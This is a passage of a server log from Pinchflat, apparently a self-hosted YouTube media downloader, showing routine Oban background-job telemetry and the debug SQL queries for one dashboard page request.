{"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:00.503 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:35:04.501 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:34.503 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:00.504 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:36:04.505 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:34.507 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:00.505 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:37:04.509 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:34.512 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:00.506 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:38:04.514 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:34.516 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:00.507 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:39:04.518 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:34.520 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:00.508 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:40:04.522 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:34.524 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:00.509 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:41:04.525 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:34.528 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:00.510 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:42:04.530 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:34.532 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:00.511 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:43:04.534 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:34.536 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:00.512 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:44:04.538 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:34.540 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:00.513 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:45:04.542 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:34.544 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:00.514 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:46:04.546 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:34.548 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:40.375 [info] GET / 14:46:40.375 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 14:46:40.376 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=695.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:46:40.377 [debug] QUERY OK source="media_profiles" db=0.2ms idle=696.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 14:46:40.377 [debug] QUERY OK source="sources" db=0.1ms idle=697.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 14:46:40.463 [debug] QUERY OK source="media_items" db=85.1ms idle=697.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 14:46:40.473 [debug] QUERY OK source="media_items" db=10.2ms idle=673.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 14:46:40.474 [debug] QUERY OK source="settings" db=0.3ms idle=97.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:46:40.475 [debug] QUERY OK source="settings" db=0.3ms idle=97.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:46:40.476 [debug] QUERY OK source="settings" db=0.3ms idle=98.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:46:40.479 [debug] QUERY OK source="tasks" db=0.5ms idle=15.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:46:40.480 [debug] QUERY OK source="media_items" db=0.6ms idle=6.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 14:46:40.482 [debug] QUERY OK source="media_items" db=0.9ms idle=6.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 14:46:40.483 [debug] QUERY OK source="sources" db=0.5ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [4, 5] 14:46:40.491 [debug] QUERY OK source="media_items" db=3.7ms idle=11.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 14:46:40.493 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=12.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 14:46:40.494 [debug] QUERY OK source="sources" db=0.4ms idle=13.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:46:40.498 [info] Sent 200 in 122ms 14:47:00.515 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:47:04.550 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:34.552 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:00.516 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:48:04.554 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:34.556 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:00.517 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:49:04.558 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:34.560 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:00.518 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:50:04.562 [info] {"source":"oban","duration":1126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:34.564 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:00.519 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:51:04.566 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:34.568 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:00.520 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:52:04.569 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:34.572 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:00.521 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:53:04.573 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:34.576 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:00.523 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:54:04.578 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:34.580 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:00.524 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:55:04.582 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:34.585 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:00.525 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:56:04.587 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:34.589 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:00.526 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:57:04.591 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:34.593 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:00.527 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:58:04.595 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:34.597 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:00.528 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:59:04.599 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:34.601 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:00.529 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:00:04.603 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:34.605 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:00.530 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:01:04.607 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:34.609 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:00.531 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:02:04.611 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:34.613 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:00.532 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:03:04.615 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:34.617 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:00.533 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:04:04.619 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:34.621 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:00.534 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:05:04.623 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:34.625 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:00.535 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:06:04.626 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:34.629 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:00.536 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:07:04.631 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:34.633 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:00.537 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:08:04.635 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:34.637 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:00.538 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:09:04.639 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:34.641 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:00.539 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:10:04.643 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:34.645 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:00.540 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:11:04.647 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:34.649 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:00.541 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:12:04.651 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:34.653 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:00.542 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:13:04.655 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:34.657 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:00.543 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:14:04.659 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:34.661 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:00.544 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:15:04.663 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:34.665 [info] {"source":"oban","duration":1730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:00.545 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:16:04.668 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:34.670 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:00.546 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:17:04.672 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:34.674 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:00.547 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:18:04.676 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:34.678 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:00.548 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:19:04.680 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:34.682 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:00.549 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:20:04.684 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:34.686 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:00.550 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:21:04.688 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:34.690 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:00.551 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:22:04.692 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:34.694 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:00.552 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:23:04.696 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:34.698 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:00.553 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:24:04.700 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:34.701 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:00.555 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:25:04.704 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:34.706 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:00.556 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:26:04.708 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:34.710 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:00.557 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:27:04.712 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:34.714 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:00.558 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:28:04.716 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:34.718 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:00.559 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:29:04.720 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:34.722 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:00.560 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:30:04.724 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:34.726 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:00.561 [info] 